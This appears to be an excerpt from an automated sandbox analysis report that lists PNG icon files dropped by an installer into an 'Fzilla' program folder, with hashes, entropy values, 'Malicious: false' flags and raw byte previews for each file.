Preview:	.PNG........IHDR...0...0.......1.....IDATx..7..@........$xO.%8.7..k..'.s.2..........b.J...vOO...H.p....K.F$ S.1..L....L]....K.."..a....%j.,.]....V..le.w....\.T.e..Hb...h...b$(.V.(.0.'.....}x......(....T....y.^...$8H.F."....z..1.a.H....!.}.{..t..x4G.d..98......b.......8.3...(. ._0.0..,0..T8..Z..M.E.G.WF.hD.....O.p..n...!9..9X..LG..K.EN..z...........C.N....D<"9p.G....Oq.2.).t.h.......I.oD.q..v...J...M....<....).............o.Q'..T.."._#.t..5.......C~....AnpPz..L..yD.9..w.........{E..8.....S.w..)......a...jh.0./0e.J..`xz/..s..:.%O... .I,0...3a.%P ..u)9e....&l.........*...t.......Ru.mv..Y.i.....%..^HU.._7>..W.}s.....0...0..e.....ao........1...g.#....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3958
Entropy (8bit):	7.939912815756129
Encrypted:	false
SSDEEP:	96:zvfDi8+Y4SRfcC5nEjMoNJJ2OyDO0UAwrDOzB0kronSeEY4c8g:zvbCGcSEjMoL4GAuIo7EY4M
MD5:	19F9B1196AF410D6464FBE5372A883B3
SHA1:	73F8CFF476C2094075BD10D93E748FA85F949159
SHA-256:	4F19F553355FEFAD7F97214FDC8D5E5F3E13BE39C29E0D1EA32729C215D8A392
SHA-512:	449D9CC7B65D050B7CC2ACB24F948E90CAFEFC0867CEDA608B2DBA427F8A327AFDE2D5BE69676C8D3298872506DD52A516618299E1CD96CE681B2E8578111D53
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......=IDATx..Y.t.........2....R...0.k..].1.qG.[q.B.T.6.'..7./...Yt..w..+g.....i..k..<3.....1h....&Vev,^...8...4..3%F..Mk....P....b?.r..,+....QX.f.X..~.nj..}.[...gvD.A.x...I...?...n.9....w......`-.. lv......S....f.......!!....=..0B.....&.x.5af....q..y.t+.8Mf#dE....F...;...qba\..o.[<Ms.M/:e.......v>..F...%s...)...z..n...8...8.E<N..P.y...N.C...[X2kyvn.....A2I.&L.q..:...........%c...Mv....\%3_.8p..6gg..=Y8qf....u........\..bq.i..r..#...).8k....]..(.G.....]....2.5.dM..9.^hJs..,,.>....qd......m......~(..g.............Sn6...r.........P8.#u>..!.=.0.....2.VH..w..;.l......i...=z.x...8\.g9.&.e[..O?F\|...K...C[.0....7.@vv...0L.t.QD....;.p./..>@..b...{+...NW0t-}M^.D...Vd.@..:...j.N..z.<.A....\|@.\|.Z.T.w....?l......8.2...Y..0.O.....6...`.e.w...OU...H.3.{.....X.@...X.H.....NDC..._..c..........8{.'c....x.H....]!h-...x..H*.T......N1.:.\|...4....P<.._...m.........7.85'#.Ix.I9L...4..l..}.T............s.F...3...?..u.g.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.770380882141665
Encrypted:	false
SSDEEP:	24:x3uhV0ZUxZOGqBvQIF8ikLFZOKRfWHbi6p/zoUo1g9VDI5aHWEDmZwITN:x3W/0dv2ZfOsChzoUo1g9+YHciITN
MD5:	766B3B9AD4A2C694C2A13A64793F58B9
SHA1:	19C2898FFF76AA47E2A182521B9558D0112F2BF4
SHA-256:	FC37900AC076661554F18A6F7D27E5ED6B7E254E945B01F61BEB0650BD2E88F7
SHA-512:	32E93CEA74BAE9A329EED86134809BF8D596AA70DFD7717D91D16C6CE6E6FFA29EA2F98F9DF0D3FB4C81FD8765B14381D6807F9D15483928B097F28283FC1092
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1....>IDATx.....<M...OU...:.m.m#>#8[..\|..m.^kv...J.I%..u.J.....}.4._C......i5.....N#.....N.b........Z.......R..zu....4...'....y.3....>.J.r...q(.R.}..d...UA........B.e\...}.(B...a@..8.@.................ut.GW..fB...}.eD...j.!.@.........W..(#.o.. "/.I......B..4`WuD.Bo...Y...Y...cZ~.Y.z..n.P9...D....\..b.E:@..D.o...]....{......&..7..E.0<.....d..J..kx...f.#..z.'i....u..y...=b..)..........\..]...g.......QZ..o..-..gk....{{O...!.....[j..B...".g.7...b..i.W..+.L.2 ...eDn...$....F.\.c...%@..9.\.d.....'Z.K.ss.s#........(.h.p?..}H.y{..N....u...'..] !JW....-.......ys....Fm...&D.N....s.......O....^%...2.......E...G........US.WKK.f........C]...:....w.....@.gA2WY.....#..P..A............`..dIk#..F.L}&...G ..4._.......T..jb...p.>.....3(...O.....FT.sB...0r...}... .N......2....T;.K..=..../'{...O..t..`7....T.5..>..3....s.....FR..?..}..d:..N....=Y.Es9`d....r.C.....`":n.<.Mal..g..t.!.....G.>..Z.?...'....N...V...../*

C:\Program Files (x86)\Fzilla\resources\tango\48x48\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2183
Entropy (8bit):	7.8657371099779265
Encrypted:	false
SSDEEP:	48:otTG2TnhhfYqHMfino69VSE+R4PQrAqZDbF81mOQY9gRfkXE:otTGqhh/einoXRNlbF81v4kXE
MD5:	F40C9D0076DA206C215C315BA0412A1E
SHA1:	DB2349C249F1AFD8AC4114333C1E55A381D28246
SHA-256:	E6E7A14AEC6963C787C6AA5FF142433154F7875825323E264A6F896C55CCEF57
SHA-512:	C826028CD4BD023DEF747497A7170E69C38778BC9E6CBB6AD0660C56D1A35E0B0484E614F1648A2D8EBC9F010E5839285FC2AA28E10DED215AEFE5E1DBF3B896
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......NIDATx..............\|...0. x.0333.C.0s".333.-3.0....Y..Lgw..~.T^..__W.-..I=.1..c... x.....0..N.U....;...e........$lRw<..o?...KN...d.h....:.P....}...p...7.. 3G....8A/....0RC.ETm.....8lNb..?\|p(..4.....v..98Z..r9..5`V.....g;..GL.Q....7......Y... k....?....c.... .....r.....o#.N..}.k?.n.A+C..q...............Ru<.....4v.X....?..8A0L..o.........\|..:=.............c.6..FDs.m7s..1..;F,3....s.a..i.....@.s.j...X......h.S.....L.)....=.V.T.....1..>.F. ...z0&`ee...yr...B.W.3..8.Z...j..4H."N.......I...u\|...Z..U..x..@k...j....N&..D..>(...%t..,.y.Q......8 E.O.\..+U...1sHm..F...:a<W....\|l....[....h]B..0..I j..aD..I ,"R...1..(g.....^V.l.@.#...R....:.=.....UC.6...,.....#....(=.2.0=.L#..$F'.Hn.@.c.`..Q..Y./.....x.r...r.a...0V.ex$q\.4..$A4..% ....HG.A.t$.I..Z%...}.8z.(.....Q..\|\....Z.A.`......1.".\|..6.S.....>5....t..`0....:B.X. .3C&...(....9.D..\..x..'...f..?t./.....d.[.P.m.D. ...(l.."...3 &.d?..%..<Tt.."TA.1FE.~..$....?....."T."..p...%@.I.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2737
Entropy (8bit):	7.904920179634178
Encrypted:	false
SSDEEP:	48:3L9q+zEvj2osZz81i/tDRmfAgvlIGIHkLLz5C9mz+gHOdV9jHKZeUkio:sf2o+Qoxg993/R+guHRqkUkB
MD5:	1D8812ADBCE952079C66FD545C289879
SHA1:	ECB48E63D0A96F4A2607B98AF55098FDAA35C245
SHA-256:	014005FBB489DC11E0E778CAD03C090054B93949727298109B05F5EF120B4653
SHA-512:	894F59993CA937721E66BD0344143862CC420049025F1629DB672E0BB406203C06A037889B1A2A80403728E5A6E8A27435187B80C650AB43FFFAB04F9F8AA3FC
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......xIDATx..Z.p.G.}'f.2c....8ih.@.k...N...........fJD..:...vd.vG:..;.f.....K0.Q..~..<.....WV..tfp.....`.C.(.R`...~......'bp(...#u....4+.c..qY..<#w.......O.@..29...;.j.....S(D.#,.9a.YX;.N...../.,{;;..x.#...`...".........>.#'I.... ..:../.wt`.)...%%...,..x...ow.VT.....b....:..p.'...x....@w...e..z..{^....Z....,O/eV...d.xL#H..l.y...\EE.....E...@..bam.UO.._\|....B\..1LD....E........$..8.&....S'...&.....1LD......M....D.5*.d...n../...F...+....E .m(..e..==.W]m!.._..:.$&.9...B.7K...K..d.$h....+..w-..[.X...a ...{=.... .G........,.........g..^....,.>...S.o...2.<..}.NJ.?f.c.:..KUBU.D.hGa...TZ$z...q..3e.......n".[x(..&........v(B8.z....c...V...D.U@.p...............:.../.......-......c"..r....g.O<....F..o.f0.......0. o.=.f....a...M../..bs.....7..b..E"(........Zh4.(%%.z..8(.x...H......g#p.M..!/...f......(3.....Y.lZ..+1.q.......w.X...n.....w.m...M-5...j..f.JKy#@.H......\|..k2...!.O<.htQ7.:..5...)...^~.W..I......1.N...G

C:\Program Files (x86)\Fzilla\resources\tango\48x48\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	7.8086479793218695
Encrypted:	false
SSDEEP:	24:3vB9vF4nUICorkgFn+nC7O0DXyS35B7HmRQmDMTLhmOtt3/ibJPC85KYdyHnk/uv:3pTm1CQkgFn+nCCiXRzbmRzYTL0OtFVh
MD5:	A092AA11A5F86EBF2B5241BEDD53181F
SHA1:	2E57B77062B0639E517C1FFB1B4C35002EF67EE7
SHA-256:	43794E4BCB9932D45C30A2FC560689648E02C3D9F7234221680144527EF527D0
SHA-512:	2572075F4338C6E810CC83DD055D1A62E73E8272572A6CFBA32A5BF353CB8376A968591D862F7644E01BD092D506E29133D525CF6823B55FE0F70420C63AB3CA
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Z..,i...z..m.}...m..^.l.1..L._.f.M..s._..~..Y.:......_...0....>zV(..... Pv..T.9.)..}.......H...4.'..<.........{.r.F..0P.gE..9%...n`....T.r.......F.5~.....<..+..2...H$b.;w.....k...??'..:....C..t_W.N..4M.d20~.xc.ak.3.?..C..mb..^V.2.Xh4...f]G.....9r"...}..7......O?..........w.Q.!.'.IX.x18.3f.....`..7....M....f..(....3.O...X,..V.t]..rB+..k.#...y....R..q.._c....RL@C...Q.r....ygg.p....)S....iw.y...\p..d@a.Z...}........T...+V..y...,Xe.U.S.N}..{..q.9....@.i......$0..6.=.......w.i.......66>..F.....'....uQ......-..f....H.G.m.m..T.P...%K..;...9....F.y......A......'.d.+.Q.n...}5#..~.w..7Yw....}>.F..Q.x<........~...gz..`.E......Z......g...Lg....<........G........`...mt.}.%^....\|.kb......X.?B.2.QFNG..V.dA......&,\.C..9..;n..m.}o..l.4p..o.dx.{.b`...OM..Q..l.`... .7Y.I..m....1...K.R..;&.W.eu...\|c.3 .!.2.... .@..3k...e@)z.-..MW....A{5iG..#/....j..\|>...;............L.!...e.}..2.y....~p.j......q.QkJ2....3.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2739
Entropy (8bit):	7.898208279576645
Encrypted:	false
SSDEEP:	48:LOi5QgunYUo090rBjORyDXJzFLmW+CYBEarlpuF7H7L58mHq88axlRxMBR/NAX6H:6i5runy09DIDX/mW+lEarrm7mmHq8Lxa
MD5:	DE1036EBE8D46AB7707F81B71A0AB448
SHA1:	683D88B41B50C8E64AB85E98610463CC53F94075
SHA-256:	5D86F04F2D70B0B6394E9594E4BB969D3DEB1212B2B67A0EDD8458A67867A171
SHA-512:	D5B656C24AA3F90DB3E4AA55AC451FB47CFDD5348C4EBF4999164FF9925A9B2744A7EDC3C031C8957CD90FA18E2733CF78B67315E05AA3DDCA17480DB9ABDF8C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......zIDATx..Z.p.H.}R....{.........-3333..333333.233...[......WuE.sv&s....n}[....J....6Q>.............R.Zk.<.+.!...........(..].z.....G?......#.:<.J.,./..E...Ri}.x..=...[...?...;......R).f..[..;<...Y.%..,...g.1..4.\|..@.=...I.l.\&..J.......B6.#.#..x..i.`.na.k.k......,v....B..d.KN..b6....T.cI@...%.&.#L..$.X6P.......D...._i.VK!.......s8dY.?{H..$J D.@...E.......($.r..q-......$iaj.f.E.q.....a..l...d2...R.....+......cc..........(W..HW[7Zz.R...PJB.l..}....`.61::...I....&-..>G.j@YN.KN.lo....z))..z....%........>....9..\|@%.....E....?....?0....e~..?...{l.R...."J.V'M".q..M7ILL..x.4%...==h%-&.]4.\...#.:b.b....t.<u.X\k...kca..}......\...IS#N$2. ..8..._....x.XS,...O....z.}.@zH6..`.5..;$..".>...k....._...<.<.wI..Bm6F...T.H&.....3. ...fh..U+$..m...TX.K..W...v...a.33.Xn.....m.\|O.Vo.\....\N..%0...^K.VK.$..8......+.lI...V.2;* ..r!3h.4.)..".$.w."~b<.`+l....v.../...h%u.^%...}...0p...Z..%i....&.q.....dh.....J.s...f3B.Q7.*

C:\Program Files (x86)\Fzilla\resources\tango\48x48\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1801
Entropy (8bit):	7.8529649753404875
Encrypted:	false
SSDEEP:	48:oV6FhXBu+tacF7XXsuKD+v+lx+aSM6qTvFqsm+O:BFxBu+DXX18+vlsFqsm+O
MD5:	855E4A2B22F216296E1889D2E33727A4
SHA1:	AFB12C6D49688CD3048F81237DF25A187C1FFF09
SHA-256:	A83414762041356CD4AF6B82936626B558010C34886A4B6C49E4DDE51DF7564C
SHA-512:	F6654497BC1BB8CBC8EEF126480C872FB85B2E74AEE0D2261E1342333B48E7F945C865B3EAD6970CA6288F01193E9282A5AAAAC07CECAC0DEB969C538B360245
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....$......b...........g..{k...g.dd.sOv.....E.:...t...F...\..\_..r{.O.m..a...b.ME.-.SKn.+.o.......I..D.PD...q...../Sh..h..(.........o..Y../C..k`E..K..].q..?.G.q.....E...._.....n:...zU...!./~.(...o..<fx....n.Y..5..!./z.p:\|...`R..O.\|mx]..T&v.... ..V.>.d.m..=E..1.u.Jh.]...>.e..E.?.r.}....b..O..1.....!.Qv%./.....}..~.D...O.l...3..YRb..Yl\....A........".;..:3...w.........[..;..{u.0....S..V...........3......V......+y:..9._Ba..N.......;}.5...+QQ.-....t.......hR`....BSp.2c.r.........N.0...U.sP....T...<.?.p.....$@...6a.N.+.0........#..?.w.X..=.U....Ap.b......x,XA.z..{...,-.:wG!a.ya+..&......ny.J+.wBx.....G ..gVzh.g.S6.3-]@.~H....A..........7..,.....m6..Ux...2..f....&..F...~.........u.~.{#[.W`C.RH!..... ..H..u.?@.q..J.D.S......P.... ..B..!....%m....@x7.{Y..V.m..?..Hyb.....23....... ,.A.]B....t).n... .1........;....?...l%......C....zZ\[i,..>.v..p.b.8l.....8HxfkP.*.(...i.@...f. 6.(.....w...\|..I...fw.6e

C:\Program Files (x86)\Fzilla\resources\tango\48x48\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	652
Entropy (8bit):	7.573388378416767
Encrypted:	false
SSDEEP:	12:6v/7YQawA9KZMHQ3/DM7PvqGowqiVdw7gwqUvlz5nZWpFJV:5Qa5tQ3/uPvH0iHyJW
MD5:	B1392720DE6F62CC053754418ADE5AD8
SHA1:	DDAE0F4376F3DCBE99A094C9A9410AFCDC0DABC0
SHA-256:	54906BBDC39B746A9F373B3F58E63B29B579BE017F434110EE47147849B03405
SHA-512:	7BC21473EBE015ECE58EE59AF5BF1B5669B0D17F8B92A73D5806D7997D85EFA82D729B68D51A0B12E16EB04C15011EB99CEF3E46F83EF04ABAC0B50466C6342F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......SIDATx....TQ....fl.(..."...... ..X "..a.H.%..@.........De%;......5....}..g...=..1?............)v...Mc..)..;W.......;@U..>o.f..qJP.OH.q............-@6......4c.... .J..U.?..M.`.0........{....kt...\.7.z.... ...).qE...{./.M.<a.QH.....r`P.....KE..s.Gt.........o]....;\|.0.....h...HL].1.S......q..vXc2-..o.....y.[...j.y..J....V/..%$....w.%....-.......)...P...2.......{a.."w..?{S~..s..y....>F..9.W.3......e.Y....y.q... .......V.\|.k..*.p.d:d9D.........o..T....r.......q6...l..,k.0..pz..]..3......].a\!.>....U...p.k..\|....I...g/]?..e.....'?.O(... c.tV^[..<}>...9@.3.A30000........1....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	709
Entropy (8bit):	7.564612361908848
Encrypted:	false
SSDEEP:	12:6v/7x015G30ZW7iF7tG4Fwc4f2aTQEy+y07HqmCqHGUm91AgFxk9Ki1yEz/0YD/B:S+GAN7tXzwQ9+yUqlL99KgFxkt1yE7d1
MD5:	12D8C74406C83D429F22171ADC4B7C69
SHA1:	00B725F1D485D76AF564E3AFA4E2A21B35CD842A
SHA-256:	7DC03B1EB21957A539D11D8DD73EA60FEF37F56ACEF5401C0DEE3DC06977580B
SHA-512:	45029B351061DF6A5284D167B0CB8AEB0E88F227BACEFB4F45AEDBB436702E61EB620003292CFCC2DB4C93AFCE44FDD98D7674BE3692983B3F94C586F2E4E746
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1.....IDATx..7..@........$xO.%8.7..k..'.s.2..........b.J...vOO...H.p....K.F$ S.1..L....L]....K.."..a....%j.,.]....V..le.w....\.T.e..Hb...h...b$(.V.(.0.'.....}x......(....T....y.^...$8H.F."....z..1.a.H....!.}.{..t..x4G.d..98......b.......8.3...(. ._0.0..,0..T8..Z..M.E.G.WF.hD.....O.p..n...!9..9X..LG..K.EN..z...........C.N....D<"9p.G....Oq.2.).t.h.......I.oD.q..v...J...M....<....).............o.Q'..T.."._#.t..5.......C~....AnpPz..L..yD.9..w.........{E..8.....S.w..)......a...jh.0./0e.J..`xz/..s..:.%O... .I,0...3a.%P ..u)9e....&l.........*...t.......Ru.mv..Y.i.....%..^HU.._7>..W.}s.....0...0..e.....ao........1...g.#....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\48x48\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	7.809843045291506
Encrypted:	false
SSDEEP:	24:3IEX8vZZjrU27eFYjBYB+PGMF4iVBoy0Ov08uAm4o54ldJZBWgqU:3jurgFY16+PfVBosv5uAaM7BWgZ
MD5:	6895C926323D8F67FC625117AE5D2590
SHA1:	C41DDD1E18F3E3C459E953C031D19261BE397CF9
SHA-256:	0059D89A1EF5FB36359652B7B2042A422641F7810007B8DFE1A0B3CF7ED0880F
SHA-512:	426E750658034E45895796CC1A544CD33479F8586BF38F914F8B06B7AF2F96BCBA17EE5A986FF9C8247FEE2F2C3AEA010C3346A8DE2355DC59D453F5EC20E454
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....5W...j....m.6..........gF...m......d.9._/^..O~Y...3..;..$O%.TRITRkkk../.0.....g..!...J....`0H...c.3..N;...A..@(..8CCC..DY.E..M.q.s.U4..A.)........---G.....+....'...~...omoo_:...[>...k.Q.....^kkk...<...Oa@.n..6.2.~...7..........s.r.e+..{d...X...Vss..c.lN.......\|....N........@.....gMgg.. .?....g.}.Q...o\I...V.P.....>...$...t....a......._....Y....f.m&.............&...F.B..g.A..........OpH,.u..{.'E.Q>W6>j.....W_.'..j..h.M7..^zi...../.$.(Li.[.p8L.H.v.e..m[......O@......?.........sV...r".p..qq..!...@..P..........T.......)........fS....o....Vx~.O..w.Q.d0.Au_..J7}..K?.I..^VV..NOO.J....}E..-\|A...o.................t.).P<...... ..H$..p..&...T.8.n.Ab..f..[..W.V.,\....>./_.L.5w.\..Ja..I...-....^VQQ%.3.Q....>.....a.r]....H...h..$...f . ....\.^G.W@...../PU..,.W..vn.1$...I..2..V...@.=...7~l...x...K...........4M>...:....u/.8...t..t.....g..X.n.w*.}....UA..R......y.`...?....kkk..\.]..rX.&...B..._kJj`.O..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3565
Entropy (8bit):	7.93195872640527
Encrypted:	false
SSDEEP:	96:7TdMZqz3hDWHE23fwYvVkWBosfO/2VYzNawN:7T6qzxDWH5Pw0asfMcYxawN
MD5:	AEFFCB818F38E69BFD3753EB0F808860
SHA1:	F83F5BD803C5CF7EC6F29E86CD1706DF746E1D8A
SHA-256:	FC687FF2251BC921E99469FE061BC47B16D036F640672336F234F9218486E597
SHA-512:	10C9E1EF18B9374EFB36792F9C28DDE110F6CDA2C502DEB98B8CF56AE9E624EB52FD35659FEC40A9C0CC03E7D42ECB848FA19E5940734016921641CC318E4B36
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y.t..=.-s..5..........<fffff.23S....1I..Q......'...h,..>83.....%.-^....g...E....B\.1......T._.~..3.m.\|....(..&......x ...@....f3..F.f..N.)......... .....#...g..E..f{...~.u..M..&....H]@L'..<.:...M....itt.;x.o~....}.C.&....oijj...1...c(Im.q..e(.V.m7..a..].w...#...g....._9.n;..B.c...J...g<..l.......8.r...>...D.....!........p4..9M..3K..3J.n.Rqq1....~.+.....H\|.....?.`QQ...=.yV..........`G..x......7..Z]v..H$..x.5.K'.F..p8Q..?\|.,T.7...T{.......~.3....{......0~Y..?.9.g.........._.e....m..7......V.9Uh. ...q8....=...GG..".m.............).../~..B.Z....B..x..V...M.V....._.s;].M.?P../.....Y..l.e...?.$......(u[l...+*.w..X.4_....Deee....W.,Z...;v..n...8......V....Ct.s,..X.-.l....2.QB.HF.....Q....%..+...xKc....#..?..c]].UTT4Y......F@...X....E.i......1.cukq0....5!...m.0..."]..D.z_h.....lp.....#_.C[&.L2c.7o...w.2.....N.s+g.x<N?..Ce%..S.-q.t.B0.\Nh.U.,9"..lVHZN....g.%..";..q..~w.<-../G(......(

C:\Program Files (x86)\Fzilla\resources\tango\48x48\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2011
Entropy (8bit):	7.872260719714297
Encrypted:	false
SSDEEP:	48:xJXo1ikxVG0uJpbW4E4e4lesPdhw5qNAAbk7y5tF0rOWkETH+p:To1iaG0sBlA5MAukWtvWk3p
MD5:	9DC4CB6833ABDE58A8A36D4044BA8C47
SHA1:	067268B9FB04E21B232F76A27FA8A2EE7748D92C
SHA-256:	7F466B49D6CB2D881130CDA76EC35C22C6396F2480FFF80E27034A3CE74CFCF1
SHA-512:	327216AA6205AAE9D2A4F346DB02CD1CB7CFDC83F5B7AFA8644178C0B54E542B31531AF7F7A953DD8E788BCF43940AB82D7B3139537D7AC1FA98B6762E9EA2AD
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y..$K.=U].g....wp'...f.."..m.o..3.m...'............Q..sn..7...0^..E.}..4M.6..'.k%t...:..a..P(..A....p]7".........wN.l`.h6...b1....].h4 A.lh..@x.;..:.....8......."~._dA,G.u.]W\|..u..m.H....W.........BF.+./0..y.6."..-..msc....LLL........... L.....crr...7..XZ...,.-....f.B.P.M8. v.....8...("...q.d...J...m.5.......-..a...C..Ja.=0..-.....\........333..-....Yg...l..[.lYv.}}....<gzz..q...&.$..Y...Z.A.....7.R......O..z.".....6....mJ.....M&.N4..q......).......f!....e.\....L&...O..))..q..<.~......`..}..=D.;89$.....g....O.ZW%..\...........T.>...l.....f;.9].$........_O..@...u....{..\JP..Ho...{.......e.W%.HJ...E.\.<..8\|/....}.o/.FFFz..".........#.u5+.../.9..s.v..7@..........X...nE.../......_.w..../..O~rT..h...V.`.>......o."..k$..[.......xv..$.......R..z...{.1..U...^A.]..)..%.]`9p\!.Y....y..}.S..y.k.........._.........[.G<....La(...7?.....O..2>.-.1s.....Og.=>...X?..Kp.....A(..~.h.....vD1.W..N..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1437
Entropy (8bit):	7.787810694653926
Encrypted:	false
SSDEEP:	24:uk+Wjt4wxuBvwL27+f9Ogw473fOkX/AlfOzLbAu9RHhPo5J6b4J3ON/hP3wXkdBL:ud3Bv9kw03PANOzLU6aXV3yhLAaZ
MD5:	A0AF1E29C481A5DC89DAA6325DF07DB7
SHA1:	98B1227B4251A6BF6C30781C3282ACB5449792F3
SHA-256:	7109B43596AD9F909FA79418C800783A4F32DC05C9613911BC721952CF1A2116
SHA-512:	B14CE42DA80535A7576581B61A30E92C1459307410F7D269CC7593521FF1AACC5A602018CBA26AF4C6810F09E091B05171825CAAF79B171A03D051CC205ACF12
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......dIDATx..X..+U...R/..1..w.......<.C.w..N.ww......k.n..{.....$...L.{v..X.........bk.u.....bAp.._)..~......]..!..}.1.$.-..I.......?..g.l.,....<.?..n....Fn.....SYo....o]v.e..v.m.....a...:..$.dQt?....ZK........B.!.n.sC.............0.$L`ll....N!+A....^x.QB.........e.5.;....@..o6..O..0uco..F.Z..u.]..j...R.h....../.xmf...DgQ..Q.a\|\|.###<..BQtq?..3.(....>W..I...,..$O@J.'...Ma..(......tr.cl...P..L..P........_:..F(rA.p.W.0j...t..s...;y.}.(...{}.]v90..4.....w...R.0....1..%...0(.@.../..w...@...1..<.#..........XA..2..w(+....h4.>H......O.a..@....U..H.$...R.L ...U..v..',,.X..&.p......Z...Z..f.R-;.J[.G.H.b.@.J.PJ.{..gA'F.Z.`Y.X .... J$.53....N... ..D.U......Ts... .${......o...D...^B.....X...Rk0..&L....u&.#....Yf......T.....RJ...J.Q.VB....'..N.p..-...{..p...Zf...B.q...b2\|.A.H.#..P..>.0.X..=...K.\...?p..R..;.f.......{x&..=.`!.."..2ZX....X...h1=...V..&.VJ. ....-P.\.*-....6..$...Ti...S..J.......5.....f..`........N..y@J..

C:\Program Files (x86)\Fzilla\resources\tango\48x48\is-140JC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2737
Entropy (8bit):	7.904920179634178
Encrypted:	false
SSDEEP:	48:3L9q+zEvj2osZz81i/tDRmfAgvlIGIHkLLz5C9mz+gHOdV9jHKZeUkio:sf2o+Qoxg993/R+guHRqkUkB
MD5:	1D8812ADBCE952079C66FD545C289879
SHA1:	ECB48E63D0A96F4A2607B98AF55098FDAA35C245
SHA-256:	014005FBB489DC11E0E778CAD03C090054B93949727298109B05F5EF120B4653
SHA-512:	894F59993CA937721E66BD0344143862CC420049025F1629DB672E0BB406203C06A037889B1A2A80403728E5A6E8A27435187B80C650AB43FFFAB04F9F8AA3FC
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......xIDATx..Z.p.G.}'f.2c....8ih.@.k...N...........fJD..:...vd.vG:..;.f.....K0.Q..~..<.....WV..tfp.....`.C.(.R`...~......'bp(...#u....4+.c..qY..<#w.......O.@..29...;.j.....S(D.#,.9a.YX;.N...../.,{;;..x.#...`...".........>.#'I.... ..:../.wt`.)...%%...,..x...ow.VT.....b....:..p.'...x....@w...e..z..{^....Z....,O/eV...d.xL#H..l.y...\EE.....E...@..bam.UO.._\|....B\..1LD....E........$..8.&....S'...&.....1LD......M....D.5*.d...n../...F...+....E .m(..e..==.W]m!.._..:.$&.9...B.7K...K..d.$h....+..w-..[.X...a ...{=.... .G........,.........g..^....,.>...S.o...2.<..}.NJ.?f.c.:..KUBU.D.hGa...TZ$z...q..3e.......n".[x(..&........v(B8.z....c...V...D.U@.p...............:.../.......-......c"..r....g.O<....F..o.f0.......0. o.=.f....a...M../..bs.....7..b..E"(........Zh4.(%%.z..8(.x...H......g#p.M..!/...f......(3.....Y.lZ..+1.q.......w.X...n.....w.m...M-5...j..f.JKy#@.H......\|..k2...!.O<.htQ7.:..5...)...^~.W..I......1.N...G

